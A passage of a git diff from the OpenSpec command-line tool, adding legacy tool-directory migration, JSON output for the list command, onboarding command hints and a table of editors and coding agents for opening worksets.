hasRootAgentsWithMarkers: false, + hasLegacyArtifacts: details.length > 0, + }; +} + /** * Generates a migration hint message for project.md. * This is shown when project.md exists and needs manual migration to config.yaml. diff --git a/src/core/list.ts b/src/core/list.ts index 3f40829a63..f6b6faf2f8 100644 --- a/src/core/list.ts +++ b/src/core/list.ts @@ -1,9 +1,10 @@ import { promises as fs } from 'fs'; import path from 'path'; import { getTaskProgressForChange, formatTaskStatus } from '../utils/task-progress.js'; -import { readFileSync } from 'fs'; -import { join } from 'path'; +import { readFileSync, type Dirent } from 'fs'; import { MarkdownParser } from './parsers/markdown-parser.js'; +import type { RootOutput } from './root-selection.js'; +import { discoverSpecFiles } from '../utils/spec-discovery.js'; interface ChangeInfo { name: string; @@ -15,6 +16,25 @@ interface ChangeInfo { interface ListOptions { sort?: 'recent' | 'name'; json?: boolean; + root?: RootOutput; +} + +function isMissingPathError(error: unknown): boolean { + return ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === 'ENOENT' + ); +} + +async function readChangeDirectoryEntries(changesDir: string): Promise<Dirent[]> { + try { + return await fs.readdir(changesDir, { withFileTypes: true }); + } catch (error) { + if (isMissingPathError(error)) return []; + throw error; + } } /** @@ -76,27 +96,20 @@ function formatRelativeTime(date: Date): string { export class ListCommand { async execute(targetPath: string = '.', mode: 'changes' | 'specs' = 'changes', options: ListOptions = {}): Promise<void> { - const { sort = 'recent', json = false } = options; + const { sort = 'recent', json = false, root } = options; if (mode === 'changes') { const changesDir = path.join(targetPath, 'openspec', 'changes'); - // Check if changes directory exists - try { - await fs.access(changesDir); - } catch { - throw new Error("No OpenSpec changes directory found. Run 'openspec init' first."); - } - // Get all directories in changes (excluding archive) - const entries = await fs.readdir(changesDir, { withFileTypes: true }); + const entries = await readChangeDirectoryEntries(changesDir); const changeDirs = entries .filter(entry => entry.isDirectory() && entry.name !== 'archive') .map(entry => entry.name); if (changeDirs.length === 0) { if (json) { - console.log(JSON.stringify({ changes: [] })); + console.log(JSON.stringify({ changes: [], ...(root ? { root } : {}) }, null, 2)); } else { console.log('No active changes found.'); } @@ -107,7 +120,7 @@ export class ListCommand { const changes: ChangeInfo[] = []; for (const changeDir of changeDirs) { - const progress = await getTaskProgressForChange(changesDir, changeDir); + const progress = await getTaskProgressForChange(changesDir, changeDir, targetPath); const changePath = path.join(changesDir, changeDir); const lastModified = await getLastModified(changePath); changes.push({ @@ -134,7 +147,7 @@ export class ListCommand { lastModified: c.lastModified.toISOString(), status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress' })); - console.log(JSON.stringify({ changes: jsonOutput }, null, 2)); + console.log(JSON.stringify({ changes: jsonOutput, ...(root ? { root } : {}) }, null, 2)); return; } @@ -156,23 +169,29 @@ export class ListCommand { try { await fs.access(specsDir); } catch { - console.log('No specs found.'); + if (json) { + console.log(JSON.stringify({ specs: [], ...(root ? { root } : {}) }, null, 2)); + } else { + console.log('No specs found.'); + } return; } - const entries = await fs.readdir(specsDir, { withFileTypes: true }); - const specDirs = entries.filter(e => e.isDirectory()).map(e => e.name); - if (specDirs.length === 0) { - console.log('No specs found.'); + const discovered = await discoverSpecFiles(specsDir); + if (discovered.length === 0) { + if (json) { + console.log(JSON.stringify({ specs: [], ...(root ? { root } : {}) }, null, 2)); + } else { + console.log('No specs found.'); + } return; } type SpecInfo = { id: string; requirementCount: number }; const specs: SpecInfo[] = []; - for (const id of specDirs) { - const specPath = join(specsDir, id, 'spec.md'); + for (const { id, specFile } of discovered) { try { - const content = readFileSync(specPath, 'utf-8'); + const content = readFileSync(specFile, 'utf-8'); const parser = new MarkdownParser(content); const spec = parser.parseSpec(id); specs.push({ id, requirementCount: spec.requirements.length }); @@ -183,6 +202,12 @@ export class ListCommand { } specs.sort((a, b) => a.id.localeCompare(b.id)); + + if (json) { + console.log(JSON.stringify({ specs, ...(root ? { root } : {}) }, null, 2)); + return; + } + console.log('Specs:'); const padding = ' '; const nameWidth = Math.max(...specs.map(s => s.id.length)); @@ -191,4 +216,4 @@ export class ListCommand { console.log(`${padding}${padded} requirements ${spec.requirementCount}`); } } -} \ No newline at end of file +} diff --git a/src/core/migration.ts b/src/core/migration.ts index 48aaa41eee..b4b094d686 100644 --- a/src/core/migration.ts +++ b/src/core/migration.ts @@ -5,13 +5,428 @@ * Called by both init and update commands before profile resolution. */ -import type { AIToolOption } from './config.js'; +import { AI_TOOLS, type AIToolOption } from './config.js'; import { getGlobalConfig, getGlobalConfigPath, saveGlobalConfig, type Delivery } from './global-config.js'; import { CommandAdapterRegistry } from './command-generation/index.js'; +import { + resolveCommandInvocation, + resolveCommandSurfaceCapability, + shouldGenerateCommandsForTool, +} from './command-surface.js'; import { WORKFLOW_TO_SKILL_DIR } from './profile-sync-drift.js'; +import { COMMAND_IDS } from './shared/tool-detection.js'; import { ALL_WORKFLOWS } from './profiles.js'; +import { getSkillReferenceTransformer, getTransformerForTool } from '../utils/command-references.js'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { isSharedSkillTargetActive } from './shared-skill-target.js'; +import { isLegacyCodexSkillEquivalentToCurrent } from './shared/skill-content-equivalence.js'; import path from 'path'; import * as fs from 'fs'; +import { resolveToolSkillsDir, toolSupportsSkills } from './shared/skill-paths.js'; + +export interface LegacyToolRoot { + /** Former tool root, e.g. '.kimi' */ + root: string; + /** + * Whether leaving this root requires the user's say-so. False when the old + * product is gone and its directory is certainly dead. True when the old + * location may still be the live one for somebody. + */ + needsConsent: boolean; + /** Migrations that need a freshly generated destination run afterward. */ + timing?: 'before-generation' | 'after-generation'; +} + +/** + * Former tool roots whose OpenSpec-managed content belongs under the tool's + * current skillsDir. User files are never touched. + */ +export const LEGACY_TOOL_ROOTS: Record<string, LegacyToolRoot[]> = { + // Kimi CLI became Kimi Code and moved from .kimi to .kimi-code. + kimi: [{ root: '.kimi', needsConsent: false }], + // Windsurf was rebranded to Devin Desktop on 2026-06-02 and its config + // directory moved to .devin/. Devin Desktop reads .windsurf/ only as a + // fallback and Devin Local does not read it at all, so moving is the right + // default — but a pre-rebrand Windsurf build reads ONLY .windsurf/, and + // nothing on disk tells that user apart, so the move is offered, not taken. + devin: [{ root: '.windsurf', needsConsent: true }], + // Codex now reads the canonical shared .agents root. Generate the current + // replacement first so a divergent legacy file is preserved, not overwritten. + codex: [{ root: '.codex', needsConsent: false, timing: 'after-generation' }], +}; + +export interface LegacyToolMigration { + toolId: string; + /** Legacy tool root, e.g. '.windsurf' */ + from: string; + /** Current tool root, e.g. '.devin' */ + to: string; + /** Skill directories that moved, or would move */ + skillDirs: number; + /** Command files that moved, or would move */ + commandFiles: number; + /** + * OpenSpec-managed files left under the legacy root because the copy there + * differs materially from the one that survives, so it is reported rather + * than dropped. + */ + keptInPlace: number; + /** Whether this move needs the user's consent first */ + needsConsent: boolean; +} + +/** + * Classifies one OpenSpec-managed file. `move` is the fast path (nothing at + * the destination yet); `drop` means the destination already holds equivalent + * generated content, so the legacy copy is redundant; `keep` means the two + * differ materially and the legacy copy is not ours to discard. + */ +type FileDisposition = 'move' | 'drop' | 'keep' | 'skip'; + +function classifyManagedFile(source: string, destination: string): FileDisposition { + if (isSamePath(source, destination)) return 'skip'; + if (!fs.existsSync(destination)) return 'move'; + try { + const sourceContent = fs.readFileSync(source, 'utf-8'); + const destinationContent = fs.readFileSync(destination, 'utf-8'); + const equivalentGeneratedSkills = + path.basename(source) === 'SKILL.md' && + path.basename(destination) === 'SKILL.md' && + isLegacyCodexSkillEquivalentToCurrent(sourceContent, destinationContent); + return sourceContent === destinationContent || equivalentGeneratedSkills + ? 'drop' + : 'keep'; + } catch { + return 'keep'; + } +} + +/** + * Rewrites a generated command path from the tool's current root to a legacy + * one, so `.devin/workflows/opsx-apply.md` locates its `.windsurf/` twin + * without the migration hard-coding either layout. + * + * Returns undefined for adapters whose paths are absolute (global-scoped + * command files) or do not start at the tool root — neither can be relocated + * by swapping a leading segment. + */ +function legacyCommandPath( + commandPath: string, + currentRoot: string, + legacyRoot: string +): string | undefined { + if (path.isAbsolute(commandPath)) return undefined; + const segments = commandPath.split(/[\\/]/); + if (segments[0] !== currentRoot) return undefined; + segments[0] = legacyRoot; + return path.join(...segments); +} + +/** + * Reports the OpenSpec content sitting under each tool's legacy root, without + * moving anything. Callers use this to ask before a move that needs consent. + */ +export function findLegacyToolMigrations( + projectPath: string, + timing: 'before-generation' | 'after-generation' = 'before-generation' +): LegacyToolMigration[] { + return collectLegacyToolMigrations(projectPath, false, undefined, timing); +} + +/** + * Moves OpenSpec-managed skill directories (openspec-*) and command files + * (opsx-*) from a tool's legacy root to its current one. When the destination + * already exists the legacy copy is removed instead. Legacy directories are + * deleted only when left empty, so user files under the old location — a + * hand-written Cascade workflow next to the generated ones — are preserved. + * + * @param projectPath - Project root + * @param toolIds - Restrict the move to these tools; omit to move every tool + * whose legacy root needs no consent + */ +export function migrateLegacyToolDirs( + projectPath: string, + toolIds?: string[], + timing: 'before-generation' | 'after-generation' = 'before-generation' +): LegacyToolMigration[] { + return collectLegacyToolMigrations(projectPath, true, toolIds, timing); +} + +function collectLegacyToolMigrations( + projectPath: string, + apply: boolean, + toolIds?: string[], + timing: 'before-generation' | 'after-generation' = 'before-generation' +): LegacyToolMigration[] { + const migrations: LegacyToolMigration[] = []; + + for (const tool of AI_TOOLS) { + if (!tool.skillsDir) continue; + if (toolIds && !toolIds.includes(tool.value)) continue; + + for (const legacy of LEGACY_TOOL_ROOTS[tool.value] ?? []) { + const legacyTiming = legacy.timing ?? 'before-generation'; + if (legacyTiming !== timing) continue; + if (legacy.root === tool.skillsDir) continue; + // Without an explicit tool list, only moves that need no consent run. + if (apply && !toolIds && legacy.needsConsent) continue; + const legacyRootPath = path.join(projectPath, legacy.root); + if (!fs.existsSync(legacyRootPath)) continue; + try { + FileSystemUtils.assertProjectArtifactPath(projectPath, legacyRootPath); + FileSystemUtils.assertProjectArtifactPath( + projectPath, + path.join(projectPath, tool.skillsDir) + ); + } catch { + console.warn( + `Skipping legacy ${legacy.root}/ migration because the directory resolves outside this project.` + ); + continue; + } + + const skills = migrateSkillDirs( + projectPath, + tool.skillsDir, + legacy.root, + apply, + legacyTiming === 'after-generation' + ); + const commands = migrateCommandFiles(projectPath, tool, legacy.root, apply); + + if (apply) { + removeDirIfEmpty(path.join(legacyRootPath, 'skills')); + removeDirIfEmpty(path.join(legacyRootPath, 'workflows')); + removeDirIfEmpty(legacyRootPath); + } + + // Kept-only results are retained deliberately. When every legacy file + // differs from its counterpart nothing is movable, and dropping the + // record here would leave the user with two divergent copies and no + // word of it. + if (skills.moved > 0 || commands.moved > 0 || skills.kept > 0 || commands.kept > 0) { + migrations.push({ + toolId: tool.value, + from: legacy.root, + to: tool.skillsDir, + skillDirs: skills.moved, + commandFiles: commands.moved, + keptInPlace: skills.kept + commands.kept, + needsConsent: legacy.needsConsent, + }); + } + } + } + + return migrations; +} + +function migrateSkillDirs( + projectPath: string, + currentRoot: string, + legacyRoot: string, + apply: boolean, + requireDestination = false +): { moved: number; kept: number } { + const legacySkillsDir = path.join(projectPath, legacyRoot, 'skills'); + if (!fs.existsSync(legacySkillsDir)) return { moved: 0, kept: 0 }; + const currentSkillsDir = path.join(projectPath, currentRoot, 'skills'); + let moved = 0; + let kept = 0; + + for (const workflowId of ALL_WORKFLOWS) { + const dirName = WORKFLOW_TO_SKILL_DIR[workflowId]; + const source = path.join(legacySkillsDir, dirName); + const sourceSkill = path.join(source, 'SKILL.md'); + if (!fs.existsSync(sourceSkill)) continue; + + const destination = path.join(currentSkillsDir, dirName); + const destinationSkill = path.join(destination, 'SKILL.md'); + if (requireDestination && !fs.existsSync(destinationSkill)) continue; + if (!areProjectArtifacts(projectPath, sourceSkill, destinationSkill)) { + console.warn( + `Skipping legacy ${legacyRoot}/skills/${dirName} migration because it resolves outside this project.` + ); + continue; + } + const disposition = classifyManagedFile(sourceSkill, destinationSkill); + if (disposition === 'skip') continue; + if (disposition === 'keep') { + kept++; + continue; + } + if (!apply) { + moved++; + continue; + } + + try { + // Move the generated file, never the directory around it. A skill + // directory can also hold files the user wrote, and this destination is + // one OpenSpec deletes on its own — commands-only delivery and a + // deselected workflow both remove the whole skill directory. Carrying a + // user's file across would be handing it to that later removal. + if (disposition === 'drop') { + fs.rmSync(sourceSkill, { force: true }); + } else { + fs.mkdirSync(destination, { recursive: true }); + fs.renameSync(sourceSkill, destinationSkill); + } + // Anything the user left beside it stays under the legacy root. + removeDirIfEmpty(source); + moved++; + } catch { + // Leave the legacy directory in place if it cannot be moved + } + } + + return { moved, kept }; +} + +function migrateCommandFiles( + projectPath: string, + tool: AIToolOption, + legacyRoot: string, + apply: boolean +): { moved: number; kept: number } { + const adapter = CommandAdapterRegistry.get(tool.value); + if (!adapter || !tool.skillsDir) return { moved: 0, kept: 0 }; + let moved = 0; + let kept = 0; + + for (const commandId of COMMAND_IDS) { + const currentPath = adapter.getFilePath(commandId); + const legacyPath = legacyCommandPath(currentPath, tool.skillsDir, legacyRoot); + if (!legacyPath) continue; + + const source = path.join(projectPath, legacyPath); + if (!fs.existsSync(source)) continue; + + const destination = path.join(projectPath, currentPath); + if (!areProjectArtifacts(projectPath, source, destination)) { + console.warn( + `Skipping legacy ${legacyPath} migration because it resolves outside this project.` + ); + continue; + } + const disposition = classifyManagedFile(source, destination); + if (disposition === 'skip') continue; + if (disposition === 'keep') { + kept++; + continue; + } + if (!apply) { + moved++; + continue; + } + + try { + if (disposition === 'drop') { + fs.rmSync(source, { force: true }); + } else { + fs.mkdirSync(path.dirname(destination), { recursive: true }); + fs.renameSync(source, destination); + } + moved++; + } catch { + // Leave the legacy file in place if it cannot be moved + } + } + + return { moved, kept }; +} + +/** + * Summarizes what a migration moved, e.g. "6 skills and 6 commands". + */ +export function describeLegacyMigration(migration: LegacyToolMigration): string { + const parts: string[] = []; + if (migration.skillDirs > 0) { + parts.push(`${migration.skillDirs} skill${migration.skillDirs === 1 ? '' : 's'}`); + } + if (migration.commandFiles > 0) { + parts.push(`${migration.commandFiles} command${migration.commandFiles === 1 ? '' : 's'}`); + } + return parts.join(' and '); +} + +/** + * Names OpenSpec-managed files the move deliberately left behind, so a user + * who customized one knows there are now two copies to reconcile. + */ +export function keptInPlaceNotice(migration: LegacyToolMigration): string | undefined { + if (migration.keptInPlace === 0) return undefined; + const n = migration.keptInPlace; + // Deliberately does not claim the difference came from an edit: an older + // OpenSpec version's output differs too. Either way nothing was overwritten, + // and the user is the one who decides which copy to keep. + return ( + `Left ${n} file${n === 1 ? '' : 's'} in ${migration.from}/ that ` + + `differ${n === 1 ? 's' : ''} from the copy in ${migration.to}/. Nothing was ` + + `overwritten — compare the two and delete the ${migration.from}/ copy once ` + + `you have kept anything you customized.` + ); +} + +/** + * Whether a migration has anything to move, as opposed to only files left in + * place. Callers use this to avoid offering a move of nothing. + */ +export function hasMovableContent(migration: LegacyToolMigration): boolean { + return migration.skillDirs > 0 || migration.commandFiles > 0; +} + +/** + * Explains why a consent-gated move is being offered, in the user's terms. + * Keyed by tool so the reason is specific rather than a generic "files moved". + */ +export function legacyMigrationNotice(migration: LegacyToolMigration): string { + if (migration.toolId === 'devin') { + return ( + `Windsurf is now Devin Desktop, and its config directory moved from ` + + `${migration.from}/ to ${migration.to}/. Devin Desktop reads ${migration.from}/ ` + + `only as a fallback, and Devin Local does not read it at all.` + ); + } + return `${migration.from}/ is the former location for this tool; ${migration.to}/ is current.`; +} + +/** + * Whether two paths are the same file on disk once symlinks are resolved. + * + * Symlinking one tool root at the other is a realistic way to straddle a + * rebrand (`ln -s .devin .windsurf` to keep an older build working). Without + * this check the "destination already exists, drop the legacy copy" branch + * deletes the destination itself, taking the only copy with it. + */ +function isSamePath(a: string, b: string): boolean { + try { + return fs.realpathSync(a) === fs.realpathSync(b); + } catch { + return false; + } +} + +function areProjectArtifacts(projectPath: string, ...artifactPaths: string[]): boolean { + try { + for (const artifactPath of artifactPaths) { + FileSystemUtils.assertProjectArtifactPath(projectPath, artifactPath); + } + return true; + } catch { + return false; + } +} + +function removeDirIfEmpty(dirPath: string): void { + try { + if (fs.readdirSync(dirPath).length === 0) { + fs.rmdirSync(dirPath); + } + } catch { + // Missing or non-empty directory — nothing to do + } +} interface InstalledWorkflowArtifacts { workflows: string[]; @@ -21,22 +436,38 @@ interface InstalledWorkflowArtifacts { function scanInstalledWorkflowArtifacts( projectPath: string, - tools: AIToolOption[] + tools: AIToolOption[], + includeLegacySkills = false ): InstalledWorkflowArtifacts { const installed = new Set<string>(); let hasSkills = false; let hasCommands = false; for (const tool of tools) { - if (!tool.skillsDir) continue; - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); + if (!toolSupportsSkills(tool)) continue; - for (const workflowId of ALL_WORKFLOWS) { - const skillDirName = WORKFLOW_TO_SKILL_DIR[workflowId]; - const skillFile = path.join(skillsDir, skillDirName, 'SKILL.md'); - if (fs.existsSync(skillFile)) { - installed.add(workflowId); - hasSkills = true; + const skillsDirs: string[] = []; + if (tool.globalSkillsDir) { + skillsDirs.push(resolveToolSkillsDir(projectPath, tool)); + } else if (isSharedSkillTargetActive(projectPath, tool.value)) { + skillsDirs.push(resolveToolSkillsDir(projectPath, tool)); + if (includeLegacySkills) { + skillsDirs.push( + ...(tool.legacySkillsDirs ?? []).map((root) => + path.join(projectPath, root, 'skills') + ) + ); + } + } + + for (const skillsDir of skillsDirs) { + for (const workflowId of ALL_WORKFLOWS) { + const skillDirName = WORKFLOW_TO_SKILL_DIR[workflowId]; + const skillFile = path.join(skillsDir, skillDirName, 'SKILL.md'); + if (fs.existsSync(skillFile)) { + installed.add(workflowId); + hasSkills = true; + } } } @@ -110,7 +541,7 @@ export function migrateIfNeeded(projectPath: string, tools: AIToolOption[]): voi } // Scan for installed workflows - const artifacts = scanInstalledWorkflowArtifacts(projectPath, tools); + const artifacts = scanInstalledWorkflowArtifacts(projectPath, tools, true); const installedWorkflows = artifacts.workflows; if (installedWorkflows.length === 0) { @@ -127,5 +558,29 @@ export function migrateIfNeeded(projectPath: string, tools: AIToolOption[]): voi saveGlobalConfig(config); console.log(`Migrated: custom profile with ${installedWorkflows.length} workflows`); - console.log("New in this version: /opsx:propose. Try 'openspec config profile core' for the streamlined experience."); + // Each detected tool resolves to a propose reference for its surface: the + // command name its generated files answer to when commands will exist for it + // under the effective delivery (/opsx:propose when namespaced under opsx/, + // /opsx-propose when the filename is the command), its documented skill + // invocation otherwise. When the tools disagree — including command tools + // mixed with skill-only tools — stay syntax-neutral rather than advertise a + // form that is wrong for one of them. + const effectiveDelivery: Delivery = config.delivery ?? 'both'; + const proposeReferences = new Set( + tools.map((tool) => { + if (shouldGenerateCommandsForTool(tool.value, effectiveDelivery)) { + const transformer = getTransformerForTool( + tool.value, + effectiveDelivery, + resolveCommandSurfaceCapability(tool.value), + resolveCommandInvocation(tool.value) + ); + return transformer ? transformer('/opsx:propose') : '/opsx:propose'; + } + return getSkillReferenceTransformer(tool.value)('/opsx:propose'); + }) + ); + const proposeReference = + proposeReferences.size === 1 ? [...proposeReferences][0] : 'the openspec-propose skill'; + console.log(`New in this version: ${proposeReference}. Try 'openspec config profile core' for the streamlined experience.`); } diff --git a/src/core/onboarding-commands.ts b/src/core/onboarding-commands.ts new file mode 100644 index 0000000000..1b18b07797 --- /dev/null +++ b/src/core/onboarding-commands.ts @@ -0,0 +1,50 @@ +/** + * Onboarding command hints. + * + * The commands shown to a user after setup must be limited to the workflows + * their profile actually installs, otherwise we advertise slash commands that + * were correctly never generated. + * + * This module decides WHICH hints to show. How each one is spelled for a given + * tool — command, skill, or a tool-specific skill prefix — is decided by + * src/utils/command-references.ts at the call site. + */ + +import type { WorkflowId } from './profiles.js'; + +export type OnboardingCommand = { + workflow: WorkflowId; + command: string; + description: string; +}; + +/** + * Longest description the welcome screen can render. It shows these beside a + * 24-column art column and only animates at MIN_WIDTH (60) columns or wider; a + * longer line wraps, and the animation's cursor-up count assumes unwrapped + * lines. See src/ui/welcome-screen.ts. + */ +export const DESCRIPTION_BUDGET = 17; + +/** + * Ordered onboarding hints. Each entry is shown only when its workflow is + * installed, so the list follows the change lifecycle: start, then build, + * then implement. + */ +const ONBOARDING_COMMANDS: readonly OnboardingCommand[] = [ + { workflow: 'propose', command: '/opsx:propose', description: 'Start a change' }, + { workflow: 'new', command: '/opsx:new', description: 'Scaffold a change' }, + { workflow: 'continue', command: '/opsx:continue', description: 'Next artifact' }, + { workflow: 'apply', command: '/opsx:apply', description: 'Implement tasks' }, +]; + +/** + * Returns the onboarding hints for the installed workflows, in lifecycle order. + * Returns an empty array when none of the onboarding workflows are installed. + */ +export function getOnboardingCommands( + workflows: readonly string[] +): OnboardingCommand[] { + const installed = new Set(workflows); + return ONBOARDING_COMMANDS.filter((entry) => installed.has(entry.workflow)); +} diff --git a/src/core/openers.ts b/src/core/openers.ts new file mode 100644 index 0000000000..a98960cfc5 --- /dev/null +++ b/src/core/openers.ts @@ -0,0 +1,372 @@ +import * as nodeFs from 'node:fs'; +import * as path from 'node:path'; +import * as os from 'node:os'; +import { z } from 'zod'; + +import { StoreError } from './store/errors.js'; +import { formatZodIssues } from './zod-issues.js'; +import type { WorksetMember } from './worksets.js'; + +/** + * The workset opener table (slice 7.1). Supporting a new tool is + * configuration, not code: every tool is an instance of one of exactly + * two launch styles - 'workspace-file' (invoke with the generated + * .code-workspace) or 'attach-dirs' (pre-args plus one attach flag per + * member; no positional, ever - agent sessions open clean). Users add + * tools or adjust parameters under the global config file's `openers` + * key (the git difftool/mergetool pattern). + */ + +export type OpenerStyle = 'workspace-file' | 'attach-dirs'; + +export interface OpenerDefinition { + id: string; + label: string; + style: OpenerStyle; + command: string; + /** Pre-args before any attach flags or the workspace-file path. */ + args: string[]; + /** attach-dirs only; one flag + path pair per member. */ + attachFlag: string; +} + +const DEFAULT_ATTACH_FLAG = '--add-dir'; + +/** + * Temporary kill-switch (2026-06): worksets open only in IDE-style + * ('workspace-file') tools while the CLI-agent ('attach-dirs') open flow + * is reworked. The agents (Claude Code, codex) launch in a single primary + * cwd rather than a true combined multi-root view, which makes "where does + * my change land?" ambiguous. Default off; set + * OPENSPEC_ENABLE_CLI_AGENT_OPENERS=1 to restore them (internal rollback seam). + */ +export function isCliAgentOpenersEnabled(): boolean { + return process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS === '1'; +} + +/** Whether a tool can be opened right now (CLI-agent styles are gated). */ +export function isOpenerEnabled(opener: OpenerDefinition): boolean { + return isCliAgentOpenersEnabled() || opener.style !== 'attach-dirs'; +} + +export const BUILTIN_OPENERS: readonly OpenerDefinition[] = [ + { + id: 'code', + label: 'VS Code', + style: 'workspace-file', + command: 'code', + args: [], + attachFlag: DEFAULT_ATTACH_FLAG, + }, + { + id: 'cursor', + label: 'Cursor', + style: 'workspace-file', + command: 'cursor', + args: [], + attachFlag: DEFAULT_ATTACH_FLAG, + }, + { + id: 'claude', + label: 'Claude Code', + style: 'attach-dirs', + command: 'claude', + args: [], + attachFlag: DEFAULT_ATTACH_FLAG, + }, + { + id: 'codex', + label: 'codex', + style: 'attach-dirs', + command: 'codex', + args: ['--sandbox', 'workspace-write'], + attachFlag: DEFAULT_ATTACH_FLAG, + }, +]; + +const OPENER_STYLES = ['workspace-file', 'attach-dirs'] as const; + +const OpenerConfigRowSchema = z + .object({ + style: z.enum(OPENER_STYLES).optional(), + label: z.string().min(1).optional(), + command: z.string().min(1).optional(), + args: z.array(z.string()).optional(), + attach_flag: z.string().min(1).optional(), + }) + .strict(); + +const OpenersConfigSchema = z.record(z.string(), OpenerConfigRowSchema); + +function invalidOpenerConfigError(message: string, configPath: string): StoreError { + return new StoreError( + `Invalid openers config: ${message}`, + 'invalid_opener_config', + { + target: 'openers.config', + fix: `Each entry under "openers" in ${configPath} may set style ('workspace-file' or 'attach-dirs'), label, command, args, and attach_flag; new tools must set style.`, + } + ); +} + +/** + * Merges the global config file's raw `openers` value over the + * built-in table. A row keyed by a built-in id overrides only the + * fields it sets; a new id adds a tool (style required, command and + * label default to the id). Malformed rows fail typed - never + * silently ignored. + */ +function cloneOpener(opener: OpenerDefinition): OpenerDefinition { + return { ...opener, args: [...opener.args] }; +} + +export function mergeOpenerTable( + rawOpeners: unknown, + configPath: string +): OpenerDefinition[] { + if (rawOpeners === undefined || rawOpeners === null) { + return BUILTIN_OPENERS.map(cloneOpener); + } + + const result = OpenersConfigSchema.safeParse(rawOpeners); + if (!result.success) { + throw invalidOpenerConfigError( + formatZodIssues(result.error, 'openers'), + configPath + ); + } + + const table = BUILTIN_OPENERS.map(cloneOpener); + for (const [id, row] of Object.entries(result.data)) { + const builtinIndex = table.findIndex((opener) => opener.id === id); + + if (builtinIndex >= 0) { + const builtin = table[builtinIndex]; + table[builtinIndex] = { + ...builtin, + ...(row.style !== undefined ? { style: row.style } : {}), + ...(row.label !== undefined ? { label: row.label } : {}), + ...(row.command !== undefined ? { command: row.command } : {}), + ...(row.args !== undefined ? { args: row.args } : {}), + ...(row.attach_flag !== undefined + ? { attachFlag: row.attach_flag } + : {}), + }; + continue; + } + + if (row.style === undefined) { + throw invalidOpenerConfigError( + `'${id}' adds a new tool and must set style ('workspace-file' or 'attach-dirs')`, + configPath + ); + } + + table.push({ + id, + label: row.label ?? id, + style: row.style, + command: row.command ?? id, + args: row.args ?? [], + attachFlag: row.attach_flag ?? DEFAULT_ATTACH_FLAG, + }); + } + + return table; +} + +export interface OpenerScanOptions { + env?: NodeJS.ProcessEnv; + platform?: NodeJS.Platform; + /** Stat seam for tests (win32 candidate paths on posix hosts). */ + isExecutableFile?: (candidatePath: string) => boolean; +} + +function getPathValue(env: NodeJS.ProcessEnv): string { + return env.PATH ?? env.Path ?? env.path ?? ''; +} + +function getPathExtensions( + platform: NodeJS.Platform, + env: NodeJS.ProcessEnv +): string[] { + if (platform !== 'win32') { + return ['']; + } + + return (env.PATHEXT ?? '.COM;.EXE;.BAT;.CMD') + .split(';') + .map((extension) => extension.trim()) + .filter((extension) => extension.length > 0); +} + +function defaultIsExecutableFile( + candidatePath: string, + platform: NodeJS.Platform +): boolean { + try { + if (!nodeFs.statSync(candidatePath).isFile()) { + return false; + } + } catch { + return false; + } + + if (platform === 'win32') { + return true; + } + + try { + nodeFs.accessSync(candidatePath, nodeFs.constants.X_OK); + return true; + } catch { + return false; + } +} + +/** + * PATH availability scan (ported from the deleted workspace openers + * at f858c19^, sharpened for injectability: the path module is keyed + * by the injected platform, and a command already carrying a known + * executable extension matches as-is). + */ +export function isOpenerCommandAvailable( + command: string, + options: OpenerScanOptions = {} +): boolean { + const env = options.env ?? process.env; + const platform = options.platform ?? os.platform(); + const pathModule = platform === 'win32' ? path.win32 : path.posix; + const isExecutable = + options.isExecutableFile ?? + ((candidate: string) => defaultIsExecutableFile(candidate, platform)); + + const extensions = getPathExtensions(platform, env); + const lowerCommand = command.toLowerCase(); + const carriesKnownExtension = extensions.some( + (extension) => + extension.length > 0 && lowerCommand.endsWith(extension.toLowerCase()) + ); + // One suffix policy: a command already carrying a known executable + // extension matches as-is and never gets a second extension appended + // - agreeing with spawn-time resolution. + const suffixes = carriesKnownExtension ? [''] : extensions; + + if (/[\\/]/u.test(command)) { + // Direct paths additionally match bare even on win32 (the spawn + // call receives the literal path). + const directSuffixes = Array.from(new Set(['', ...suffixes])); + return directSuffixes.some((suffix) => isExecutable(command + suffix)); + } + + for (const directory of getPathValue(env).split(pathModule.delimiter)) { + if (directory.length === 0) { + continue; + } + + if ( + suffixes.some((suffix) => + isExecutable(pathModule.join(directory, command + suffix)) + ) + ) { + return true; + } + } + + return false; +} + +export interface OpenerChoice { + opener: OpenerDefinition; + available: boolean; + /** `(<command> not found on PATH)` when unavailable. */ + note: string | null; +} + +/** Table order preserved, available tools first (stable sort). */ +export function listOpenerChoices( + table: OpenerDefinition[], + options: OpenerScanOptions = {} +): OpenerChoice[] { + return table + .filter((opener) => isOpenerEnabled(opener)) + .map((opener) => { + const available = isOpenerCommandAvailable(opener.command, options); + return { + opener, + available, + note: available ? null : `(${opener.command} not found on PATH)`, + }; + }) + .sort((a, b) => { + if (a.available === b.available) { + return 0; + } + return a.available ? -1 : 1; + }); +} + +export function findOpener( + table: OpenerDefinition[], + id: string +): OpenerDefinition | null { + return table.find((opener) => opener.id === id) ?? null; +} + +export interface LaunchCommand { + executable: string; + args: string[]; + /** The surviving primary member's path. */ + cwd: string; + label: string; + style: OpenerStyle; +} + +/** + * Pure argv builder. workspace-file: pre-args + the generated file's + * absolute path (which also defuses the cursor shim's `agent` + * first-arg hijack). attach-dirs: pre-args + one attach flag + path + * pair per surviving member, the primary included (the locked "one + * attach flag per member"); never a trailing positional - both agent + * CLIs would read one as a starter prompt, which 7.1 locks out. + */ +export function buildLaunchCommand( + opener: OpenerDefinition, + input: { members: WorksetMember[]; codeWorkspacePath: string } +): LaunchCommand { + if (input.members.length === 0) { + throw new Error('buildLaunchCommand requires at least one member.'); + } + + // The no-hijack and no-positional guarantees lean on absolute paths + // (the child resolves relative argv against its own cwd) - keep the + // invariant local instead of three modules away. + if (!path.isAbsolute(input.codeWorkspacePath)) { + throw new Error( + `buildLaunchCommand requires an absolute workspace-file path (got '${input.codeWorkspacePath}').` + ); + } + + const cwd = input.members[0].path; + + if (opener.style === 'workspace-file') { + return { + executable: opener.command, + args: [...opener.args, input.codeWorkspacePath], + cwd, + label: opener.label, + style: opener.style, + }; + } + + return { + executable: opener.command, + args: [ + ...opener.args, + ...input.members.flatMap((member) => [opener.attachFlag, member.path]), + ], + cwd, + label: opener.label, + style: opener.style, + }; +} diff --git a/src/core/openspec-root.ts b/src/core/openspec-root.ts new file mode 